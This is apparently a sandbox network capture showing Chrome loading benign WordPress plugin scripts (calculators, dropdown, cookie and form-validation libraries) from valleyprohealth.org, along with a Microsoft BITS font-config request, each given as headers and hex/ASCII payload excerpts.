2024-04-24 12:44:15 UTC	613	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/js/valley-pro-calculator-public.js?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:16 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:16 GMT Content-Type: application/javascript Content-Length: 838 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 12:43:21 GMT Vary: Accept-Encoding ETag: "65eefc69-346" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:16 UTC	838	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0a 09 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 09 20 2a 0a 09 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0a 09 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 Data Ascii: (function( $ ) {'use strict';/** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49769	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:15 UTC	592	OUT	GET /wp-content/plugins/bt_cost_calculator/bold-builder-light/bt-bb-light.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:16 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:16 GMT Content-Type: application/javascript Content-Length: 1713 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-6b1" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:16 UTC	1713	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0d 0a 09 0d 0a 09 76 61 72 20 73 65 74 5f 72 65 73 70 6f 6e 73 69 76 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 76 61 72 20 77 69 64 74 68 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 7c 7c 20 30 20 29 3b 0d 0a 09 09 76 61 72 20 72 65 73 20 3d 20 27 78 78 6c 27 3b 0d 0a 09 09 69 66 20 28 20 77 69 64 74 68 20 3c 3d 20 31 34 30 30 20 29 20 72 65 73 20 3d 20 27 78 6c 27 3b 0d 0a 09 09 69 66 20 28 20 77 69 64 74 68 20 3c 3d 20 31 32 30 30 20 29 20 72 65 73 20 3d 20 27 6c 67 27 3b 0d 0a 09 09 69 66 20 28 20 77 69 64 74 68 20 3c 3d 20 39 Data Ascii: (function( $ ) {var set_responsive = function() {var width = Math.max( document.documentElement.clientWidth, window.innerWidth \|\| 0 );var res = 'xxl';if ( width <= 1400 ) res = 'xl';if ( width <= 1200 ) res = 'lg';if ( width <= 9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49768	23.206.6.29	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 12:44:16 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=238772 Date: Wed, 24 Apr 2024 12:44:16 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49770	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	571	OUT	GET /wp-content/plugins/bt_cost_calculator/jquery.dd.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:16 GMT Content-Type: application/javascript Content-Length: 52048 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-cb50" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	15954	IN	Data Raw: 2f 2f 20 4d 53 44 72 6f 70 44 6f 77 6e 20 2d 20 6a 71 75 65 72 79 2e 64 64 2e 6a 73 0d 0a 2f 2f 20 61 75 74 68 6f 72 3a 20 4d 61 72 67 68 6f 6f 62 20 53 75 6c 65 6d 61 6e 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 72 67 68 6f 6f 62 73 75 6c 65 6d 61 6e 2e 63 6f 6d 2f 0d 0a 2f 2f 20 44 61 74 65 3a 20 31 30 20 4e 6f 76 2c 20 32 30 31 32 0d 0a 2f 2f 20 56 65 72 73 69 6f 6e 3a 20 33 2e 32 0d 0a 2f 2f 20 52 65 76 69 73 69 6f 6e 3a 20 32 31 0d 0a 2f 2f 20 77 65 62 3a 20 77 77 77 2e 6d 61 72 67 68 6f 6f 62 73 75 6c 65 6d 61 6e 2e 63 6f 6d 0d 0a 2f 2a 0d 0a 2f 2f 20 6d 73 44 72 6f 70 44 6f 77 6e 20 69 73 20 66 72 65 65 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 3a 20 79 6f 75 20 63 61 6e 20 72 65 64 69 73 74 72 69 62 75 74 65 20 69 74 20 61 6e 64 2f 6f 72 20 Data Ascii: // MSDropDown - jquery.dd.js// author: Marghoob Suleman - http://www.marghoobsuleman.com/// Date: 10 Nov, 2012// Version: 3.2// Revision: 21// web: www.marghoobsuleman.com/*// msDropDown is free jQuery Plugin: you can redistribute it and/or
2024-04-24 12:44:17 UTC	16384	IN	Data Raw: 6c 0d 0a 09 09 09 09 6c 69 20 3d 20 5f 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 2c 20 7b 63 6c 61 73 73 4e 61 6d 65 3a 20 5f 73 74 79 6c 65 73 2e 6f 70 74 67 72 6f 75 70 7d 29 3b 0d 0a 09 09 09 09 76 61 72 20 73 70 61 6e 20 3d 20 5f 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 20 7b 63 6c 61 73 73 4e 61 6d 65 3a 20 5f 73 74 79 6c 65 73 2e 6f 70 74 67 72 6f 75 70 54 69 74 6c 65 7d 2c 20 63 75 72 72 65 6e 74 2e 6c 61 62 65 6c 29 3b 0d 0a 09 09 09 09 6c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 70 61 6e 29 3b 0d 0a 09 09 09 09 76 61 72 20 6f 70 74 43 68 69 6c 64 72 65 6e 20 3d 20 63 75 72 72 65 6e 74 2e 63 68 69 6c 64 72 65 6e 3b 0d 0a 09 09 09 09 76 61 72 20 6f 70 74 75 6c 20 3d 20 5f 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 Data Ascii: lli = _createElement("li", {className: _styles.optgroup});var span = _createElement("span", {className: _styles.optgroupTitle}, current.label);li.appendChild(span);var optChildren = current.children;var optul = _createElement
2024-04-24 12:44:17 UTC	16384	IN	Data Raw: 73 65 3b 0d 0a 09 09 66 69 72 65 45 76 65 6e 74 49 66 45 78 69 73 74 28 22 6b 65 79 75 70 22 29 3b 0d 0a 09 7d 3b 0d 0a 09 76 61 72 20 6f 6e 5f 64 62 6c 63 6c 69 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 74 29 20 7b 0d 0a 09 09 69 66 20 28 5f 69 73 44 69 73 61 62 6c 65 64 20 3d 3d 3d 20 74 72 75 65 29 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 09 66 69 72 65 45 76 65 6e 74 49 66 45 78 69 73 74 28 22 64 62 6c 63 6c 69 63 6b 22 29 3b 0d 0a 09 7d 3b 0d 0a 09 76 61 72 20 6f 6e 5f 6d 6f 75 73 65 6d 6f 76 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 74 29 20 7b 0d 0a 09 09 69 66 20 28 5f 69 73 44 69 73 61 62 6c 65 64 20 3d 3d 3d 20 74 72 75 65 29 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 09 66 69 72 65 45 76 65 6e 74 49 66 45 78 69 Data Ascii: se;fireEventIfExist("keyup");};var on_dblclick = function (evt) {if (_isDisabled === true) return false;fireEventIfExist("dblclick");};var on_mousemove = function (evt) {if (_isDisabled === true) return false;fireEventIfExi
2024-04-24 12:44:17 UTC	3326	IN	Data Raw: 65 6d 65 6e 74 28 5f 65 6c 65 6d 65 6e 74 29 5b 70 72 6f 70 5d 20 3d 20 76 61 6c 3b 0d 0a 09 09 09 09 76 61 72 20 63 68 69 6c 64 69 64 20 3d 20 5f 67 65 74 50 6f 73 74 49 44 28 22 70 6f 73 74 43 68 69 6c 64 49 44 22 29 3b 0d 0a 09 09 09 09 24 28 22 23 22 20 2b 20 63 68 69 6c 64 69 64 20 2b 20 22 20 6c 69 2e 22 20 2b 20 5f 73 74 79 6c 65 73 5f 69 2e 6c 69 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 73 74 79 6c 65 73 2e 73 65 6c 65 63 74 65 64 29 3b 0d 0a 09 09 09 09 24 28 24 28 22 23 22 20 2b 20 63 68 69 6c 64 69 64 20 2b 20 22 20 6c 69 2e 22 20 2b 20 5f 73 74 79 6c 65 73 5f 69 2e 6c 69 29 5b 67 65 74 45 6c 65 6d 65 6e 74 28 5f 65 6c 65 6d 65 6e 74 29 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 2e 61 64 64 43 6c 61 73 73 28 5f 73 74 79 6c 65 73 2e 73 Data Ascii: ement(_element)[prop] = val;var childid = _getPostID("postChildID");$("#" + childid + " li." + _styles_i.li).removeClass(_styles.selected);$($("#" + childid + " li." + _styles_i.li)[getElement(_element).selectedIndex]).addClass(_styles.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49771	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	569	OUT	GET /wp-content/plugins/bt_cost_calculator/cc.main.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:16 GMT Content-Type: application/javascript Content-Length: 33463 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-82b7" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	15954	IN	Data Raw: 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 0a 09 76 61 72 20 74 6f 74 61 6c 3b 0a 09 0a 09 76 61 72 20 69 73 5f 72 74 6c 20 3d 20 66 61 6c 73 65 3b 0a 09 76 61 72 20 72 74 6c 5f 64 69 72 65 63 74 69 6f 6e 20 3d 20 31 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 46 75 6e 63 74 69 6f 6e 73 20 73 74 61 72 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 0a 09 77 69 6e 64 6f 77 2e 62 74 5f 63 63 5f 73 75 62 74 6f 74 61 6c 20 3d 20 27 3b 76 61 72 20 73 65 74 53 75 62 74 6f 74 61 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 69 64 2c 20 76 61 6c 2c 20 69 67 6e 6f 72 65 5f 66 6f 72 6d 61 74 20 29 20 7b 27 20 2b 0a 09 27 69 66 20 28 20 61 72 67 75 6d 65 Data Ascii: 'use strict';(function( $ ) {var total;var is_rtl = false;var rtl_direction = 1;// ---------------// Functions start// ---------------window.bt_cc_subtotal = ';var setSubtotal = function( id, val, ignore_format ) {' +'if ( argume
2024-04-24 12:44:17 UTC	16384	IN	Data Raw: 74 68 69 73 20 29 2e 64 61 74 61 28 20 27 6f 66 66 73 65 74 27 20 29 20 29 3b 0a 09 09 09 09 2f 2f 76 61 72 20 76 61 6c 20 3d 20 62 74 5f 70 61 72 73 65 5f 66 6c 6f 61 74 28 20 24 28 20 74 68 69 73 20 29 2e 73 6c 69 64 65 72 28 20 27 76 61 6c 75 65 27 20 29 20 29 3b 0a 09 09 09 09 76 61 72 20 76 61 6c 20 3d 20 62 74 5f 63 63 5f 67 65 74 5f 73 6c 69 64 65 72 5f 76 61 6c 75 65 20 28 20 24 28 20 74 68 69 73 20 29 20 29 3b 0a 09 09 09 09 76 61 6c 20 3d 20 76 61 6c 20 2a 20 75 6e 69 74 5f 70 72 69 63 65 3b 0a 09 09 09 09 69 66 20 28 20 6d 5f 66 69 72 73 74 20 29 20 7b 0a 09 09 09 09 09 6d 5f 74 6f 74 61 6c 20 3d 20 76 61 6c 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 6d 5f 74 6f 74 61 6c 20 2a 3d 20 76 61 6c 3b 0a 09 09 09 09 7d 0a 09 09 09 09 Data Ascii: this ).data( 'offset' ) );//var val = bt_parse_float( $( this ).slider( 'value' ) );var val = bt_cc_get_slider_value ( $( this ) );val = val * unit_price;if ( m_first ) {m_total = val;} else {m_total *= val;}
2024-04-24 12:44:17 UTC	1125	IN	Data Raw: 69 6e 70 75 74 5b 6e 61 6d 65 3d 62 74 2d 63 63 2d 64 61 74 61 5d 27 20 29 2e 76 61 6c 28 20 71 75 6f 74 65 20 29 3b 0a 0a 09 09 09 7d 29 3b 0a 09 09 09 0a 09 09 09 09 0a 09 09 09 0a 09 09 09 76 61 72 20 74 6f 74 61 6c 20 3d 20 30 3b 0a 09 09 09 74 6f 74 61 6c 20 3d 20 74 6f 74 61 6c 2e 74 6f 46 69 78 65 64 28 20 32 20 29 3b 0a 09 09 09 62 74 5f 71 75 6f 74 65 5f 74 6f 74 61 6c 28 20 63 20 29 3b 0a 09 09 09 62 74 5f 70 61 79 70 61 6c 5f 69 74 65 6d 73 28 20 63 20 29 3b 0a 09 09 7d 29 3b 09 0a 0a 0a 09 09 0a 09 7d 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 46 75 6e 63 74 69 6f 6e 73 20 65 6e 64 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 09 2f 2f 20 49 6e 69 74 0a 09 0a 09 76 61 72 20 62 74 5f 63 Data Ascii: input[name=bt-cc-data]' ).val( quote );});var total = 0;total = total.toFixed( 2 );bt_quote_total( c );bt_paypal_items( c );});}// ---------------// Functions end// ---------------// Initvar bt_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49773	23.206.6.29	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 12:44:17 UTC	531	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Content-Type: application/octet-stream ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0Fz4RYwAAAACZW8dCTzveR7lI76J6Z2l5U0pDRURHRTA1MTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=238765 Date: Wed, 24 Apr 2024 12:44:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-24 12:44:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49772	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	580	OUT	GET /wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:16 GMT Content-Type: application/javascript Content-Length: 8700 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 06 Apr 2024 06:46:19 GMT Vary: Accept-Encoding ETag: "6610efbb-21fc" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	8700	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 43 75 73 74 6f 6d 45 76 65 6e 74 29 72 65 74 75 72 6e 21 31 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 3d 74 7c 7c 7b 62 75 62 62 6c 65 73 3a 21 31 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 21 31 2c 64 65 74 61 69 6c 3a 76 6f 69 64 20 30 7d 3b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6e 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 65 2c 74 2e 62 75 62 62 6c 65 73 2c 74 2e 63 61 6e 63 65 6c 61 62 6c 65 2c 74 2e 64 65 74 61 69 6c 29 2c 6e 7d 65 2e 70 72 6f 74 6f 74 79 70 65 3d 77 69 6e 64 6f 77 2e 45 76 65 6e 74 2e 70 72 Data Ascii: !function(){if("function"==typeof window.CustomEvent)return!1;function e(e,t){t=t\|\|{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49774	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	600	OUT	GET /wp-content/plugins/user-submitted-posts/resources/jquery.cookie.js?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:17 GMT Content-Type: application/javascript Content-Length: 1499 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-5db" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	1499	IN	Data Raw: 2f 2a 21 20 6a 73 2d 63 6f 6f 6b 69 65 20 76 33 2e 30 2e 30 2d 72 63 2e 30 20 7c 20 4d 49 54 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 65 7c 7c 73 65 6c 66 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 65 2e 43 6f 6f 6b 69 65 73 2c 6e 3d 65 2e 43 6f 6f 6b 69 65 73 3d 74 28 29 3b 6e 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: /! js-cookie v3.0.0-rc.0 \| MIT /!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e\|\|self,function(){var r=e.Cookies,n=e.Cookies=t();n.noConflict=function(){return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49775	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:16 UTC	605	OUT	GET /wp-content/plugins/user-submitted-posts/resources/jquery.parsley.min.js?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:17 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:17 GMT Content-Type: application/javascript Content-Length: 42914 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-a7a2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:17 UTC	15954	IN	Data Raw: 2f 2a 21 0a 2a 20 50 61 72 73 6c 65 79 2e 6a 73 0a 2a 20 56 65 72 73 69 6f 6e 20 32 2e 38 2e 30 20 2d 20 62 75 69 6c 74 20 57 65 64 2c 20 53 65 70 20 31 33 74 68 20 32 30 31 37 2c 20 31 31 3a 30 34 20 70 6d 0a 2a 20 68 74 74 70 73 3a 2f 2f 70 61 72 73 6c 65 79 6a 73 2e 6f 72 67 0a 2a 20 47 75 69 6c 6c 61 75 6d 65 20 50 6f 74 69 65 72 20 2d 20 3c 67 75 69 6c 6c 61 75 6d 65 40 77 69 73 65 6d 62 6c 79 2e 63 6f 6d 3e 0a 2a 20 4d 61 72 63 2d 41 6e 64 72 65 20 4c 61 66 6f 72 74 75 6e 65 20 2d 20 3c 70 65 74 72 6f 73 65 6c 69 6e 75 6d 40 6d 61 72 63 2d 61 6e 64 72 65 2e 63 61 3e 0a 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 64 0a 2a 2f 0a 66 75 6e 63 74 69 6f 6e 20 5f 74 6f 43 6f 6e 73 75 6d 61 62 6c 65 41 72 72 61 79 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 Data Ascii: /! Parsley.js* Version 2.8.0 - built Wed, Sep 13th 2017, 11:04 pm* https://parsleyjs.org* Guillaume Potier - <guillaume@wisembly.com>* Marc-Andre Lafortune - <petroselinum@marc-andre.ca>* MIT Licensed*/function _toConsumableArray(e){if(Array.isA
